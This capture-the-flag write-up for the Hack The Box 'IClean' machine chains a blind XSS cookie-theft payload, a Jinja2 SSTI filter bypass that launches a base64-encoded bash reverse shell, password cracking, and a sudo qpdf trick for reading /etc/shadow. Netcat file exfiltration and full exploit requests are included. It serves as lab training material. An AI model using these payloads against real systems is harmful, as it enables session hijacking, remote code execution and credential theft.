writeup 2024-04-09 · 5 min read

Hack The Box IClean Writeup (Medium Linux)

Medium Linux box. Blind XSS steals the admin session cookie, a Jinja2 SSTI in the QR generator gives a shell, and sudo qpdf reads any file as root.

Hack The Box IClean Writeup (Medium Linux)

Summary

IClean runs a Flask cleaning company site on capiclean.htb whose /sendMessage endpoint stores the service field unescaped, so an image tag with an onerror handler fires in a manager’s browser when the message log is opened and sends their session cookie to the tester. Pasting that cookie into the browser gives the admin dashboard, and the /QRGenerator endpoint renders its qr_link parameter through Jinja2; a payload using the request object and hex escaped dunder names bypasses the filtering and runs a base64 encoded bash reverse shell as www-data. From there /opt/app/app.py carries hardcoded MySQL credentials, and the capiclean database holds a raw SHA-256 hash for consuela that John cracks straight out of rockyou, giving SSH access. Consuela may run /usr/bin/qpdf as root, which is enough to embed any file on the system as a PDF attachment, so /etc/shadow comes out of a crafted PDF with binwalk.

Initial Target - 10.10.11.12

Vhost: capiclean.htb

Service Enumeration

IP AddressTCP Ports Open
10.10.11.1222 (OpenSSH 8.9p1 Ubuntu), 80 (Apache httpd 2.4.52 / Werkzeug/2.3.7 Python/3.10.12)

Web Service Enumeration

Possible usernames:

  • Mike Samuels

  • Jasmine Summers

  • Martha Smith

  • Mary Pikes

BS01: Blind Cross-Site Scripting (XSS)

Explanation: A blind XSS vulnerability has been discovered in the /sendMessage endpoint. Remote attackers could abuse this vulnerability to get the session cookie for the management team, allowing for a login to the website dashboard without any credentials, just the session cookie. The vulnerability occurs because user input is not properly sanitized, and when a member of the management team opens up the message logs, malicious javascript is executed on their browser.

Severity: Elevated

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

  1. Use burpsuite to intercept the request when you send a message to them via the /quote endpoint.

  2. In the “service” parameter, add the blind XSS payload below:

1
<img src="bsec" onerror="var bsec=document.createElement('script');bsec.src='http://YOUR-TUN0-IP-ADDRESS/evil?c=' + document.cookie;document.head.appendChild(bsec);" />
  1. Url-encode the payload by selecting it and pressing Ctrl+U on burpsuite. The request should look like like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 216
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1

service=<img+src%3d"bsec"+onerror%3d"var+bsec%3ddocument.createElement('script')%3bbsec.src%3d'http%3a//YOUR-TUN0-IP-ADDRESS/evil%3fc%3d'+%2b+document.cookie%3bdocument.head.appendChild(bsec)%3b"+/>&email=bsec@bsec.com

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti

BS02: Remote Code Execution (RCE) via Sever Side Template Injection (SSTI)

Explanation: Once again, user input is not well sanitized in the backend, thus allowing for a more severe vulnerability to occur - SSTI - that could potentially allow a remote authenticated attacker to inject malicious code into the template rendering engine of the website, and execute system commands.

Severity: High

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

  1. Exploit **BS01 **in order to get a session cookie, add it to your browser to be able to interact with the admin dashboard.

  2. Head to /QRGenerator endpoint, interact with it and intercept the request with burpsuite.

  3. Not all conventional SSTI payloads work in this specific case, the one below includes a well-known bypass technique and works pefectly:

1
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMC85MDAxIDA+JjE= | base64 -d | bash")["read"]() %} a {% endwith %}
  1. The base64 encoded part is just a simple reverse shell: bash -i &gt;&amp; /dev/tcp/YOUR-TUN0-IP-ADDRESS/9001 0&gt;&amp;1. You must change the IP address in this payload and issue the command: echo -n 'bash -i &gt;&amp; /dev/tcp/YOUR-TUN0-IP-ADDRESS/9001 0&gt;&amp;1' | base64 and replace the encoded result in the SSTI payload above.

  2. Fire up a netcat listener on port 9001 (or the one you choose in your reverse shell payload): nc -lvnp 9001

  3. URL-Encode the SSTI payload and send it to the victim. The request to the /QRGenerator endpoint should look like the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 310
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/QRGenerator
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZhVYtg.LlwgbeudpHrq3N-S6CXmh1MeEkk
Upgrade-Insecure-Requests: 1

invoice_id=&form_type=scannable_invoice&qr_link={%25+with+a+%3d+request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo+-n+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4xMC85MDAxIDA%2bJjE%3d+|+base64+-d+|+bash")["read"]()+%25}+a+{%25+endwith+%25}

BS03: Horizontal Privilege Escalation - Password Cracking

Explanation: MySQL database credentials are hardcoded at /opt/app/app.py. A remote attacker with access to the “www-data” user via successful exploitation of BS02 could log in to the database and access sensitive information, including users password hashes. We were able to crack the password hash for the user “consuela” using a wordlist bruteforce attack, meaning that the password is weak. With that password in hands, we were able to initiate a SSH session on the behalf of the “consuela” user.

Severity: High

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

  1. Log in to the MySQL database using the credentials found in /opt/app/app.py: mysql -u iclean -p;

  2. Use the “capiclean” database: use capiclean;

  3. Select all users records: select * from users;

  4. Copy the password hash for “consuela” and save it locally on your system.

  5. Use JohnTheRipper to crack it: john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256 hash.txt

BS04: Vertical Privilege Escalation - qpdf

Explanation: User “consuela” can run /usr/bin/qpdf as root. A maliciously crafted command using this tool could allow that user to read arbitrary files in the system, including sensitive files, for example /etc/shadow or even the SSH private key for the root user.

Severity: Extreme

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

  1. Run the following command to embed the /etc/shadow file: qpdf --empty --add-attachment /etc/shadow --mimetype=text/plain -- shadow.pdf. But keep in mind that basically every file in the system could be accessed using this technique.

  2. Transfer the created pdf to your local machine. In this case, we’ll be opening up a port in our local machine using: nc -lvnp 1337 &gt; shadow.pdf and then connect back to it attaching the shadow.pdf file in the victim machine: nc YOUR-TUN0-IP-ADDRESS 1337 &lt; shadow.pdf

  3. Using the tool “binwalk”, extract the contents of the pdf: binwalk -e shadow.pdf

  4. Enter the newly created folder containing extracted files for the pdf: cd _shadow.pdf.extracted

  5. Read the contents of the first file, not the one that ends with .zlib.

This post is licensed under CC BY 4.0 by the author.